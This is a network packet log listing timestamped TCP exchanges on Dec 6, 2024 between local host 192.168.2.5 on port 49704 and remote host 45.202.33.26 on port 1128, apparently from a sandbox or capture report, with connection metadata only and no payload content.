Dec 6, 2024 14:19:41.443108082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.443165064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.443222046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.449167967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.493467093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.506953001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.507128000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.507203102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.509280920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.509393930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.509596109 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.514223099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.514344931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.514528990 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.518963099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.519103050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.519153118 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.523885012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.523992062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.524389029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.528603077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.528791904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.528836966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.533121109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.533200979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.533246994 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.537446022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.537552118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.537599087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.541696072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.541831970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.541914940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.545800924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.545916080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.545975924 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.549926043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.549988031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.550096035 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.554068089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.554189920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.554495096 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.557842970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.558011055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.558063984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.561707020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.562171936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.562218904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.565541983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.565655947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.565715075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.569312096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.569438934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.569493055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.573040009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.573225975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.573275089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.576697111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.576802015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.576857090 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.580338955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.580437899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.580486059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.584059954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.584151030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.584192038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.587716103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.587886095 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.587938070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.591330051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.591456890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.591504097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.594985962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.595413923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.595504999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.598671913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.598784924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.599502087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.602390051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.602508068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.602855921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.606019974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.606134892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.606179953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.609674931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.609839916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.609890938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.613394976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.613456011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.613507032 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.616961956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.617053032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.617114067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.620670080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.620739937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.620791912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.624337912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.624403954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.624463081 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.627175093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.627285004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.627338886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.630100012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.630155087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.630204916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.633028030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.633147001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.633197069 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.635917902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.636015892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.636080980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.638822079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.638947010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.638991117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.641709089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.641830921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.641869068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.644562960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.696600914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.698524952 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.698544025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.698609114 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.699335098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.699410915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.699501991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.701843023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.701922894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.703556061 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.703860044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.703929901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.706367970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.706413984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.706433058 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.706473112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.709121943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.709161997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.709242105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.711352110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.711472988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.711524010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.713810921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.713900089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.713948011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.716124058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.716299057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.716352940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.718460083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.718480110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.718529940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.720745087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.720849037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.720906973 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.722999096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.723114967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.723174095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.725276947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.725389957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.725442886 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.727535963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.727662086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.727726936 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.729692936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.729824066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.731512070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.731909990 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.732014894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.732062101 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.734062910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.734139919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.734189987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.736195087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.736351967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.736407995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.738326073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.738549948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.738601923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.740420103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.740513086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.740561008 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.742489100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.742567062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.742619991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.744501114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.744631052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.744676113 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.746640921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.746675014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.746716022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.748626947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.748753071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.748792887 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.750596046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.750710011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.751502991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.752604008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.752718925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.754523039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.754573107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.754786015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.755505085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.756462097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.756573915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.756614923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.758367062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.758485079 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.758737087 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.759721994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.759824991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.760049105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.761066914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.761167049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.761379004 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.762360096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.762425900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.762481928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.763761044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.763880014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.763942957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.765033960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.765158892 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.765209913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.766364098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.766469955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.766515017 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.767692089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.767836094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.767879009 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.769001961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.769103050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.769249916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.770296097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.770430088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.770481110 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.771596909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.771712065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.771754026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.772917032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.772955894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.773010015 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.774245977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.774327040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.774935961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.775527954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.775640965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.775684118 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.776849031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.777061939 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.777116060 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.778167963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.778390884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.778475046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.779508114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.779566050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.779616117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.780813932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.781029940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.781102896 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.782087088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.782202959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.782258034 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.783442020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.783623934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.784837008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.784904003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.784929037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.786051035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.786111116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.786154032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.786205053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.787369013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.787453890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.787503958 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.788602114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.837243080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.890631914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.890716076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.890762091 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.891190052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.891268015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.891307116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.892291069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.892391920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.892580986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.893435001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.893780947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.893898964 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.894640923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.894718885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.894762039 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.895747900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.895850897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.895906925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.896881104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.896958113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.897779942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.898042917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.898152113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.899249077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.899264097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.899293900 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.899329901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.900217056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.900340080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.900393963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.901300907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.901401997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.901448011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.902358055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.902489901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.902538061 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.903433084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.903517008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.903568029 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.904470921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.904541969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.904618025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.905534029 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.905666113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.905956030 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.906562090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.906666040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.906708002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.907577991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.907625914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.907669067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.908627033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.908653975 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.908701897 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.909622908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.909763098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.909815073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.910603046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.910700083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.910741091 CET	49704	1128	192.168.2.5	45.202.33.26
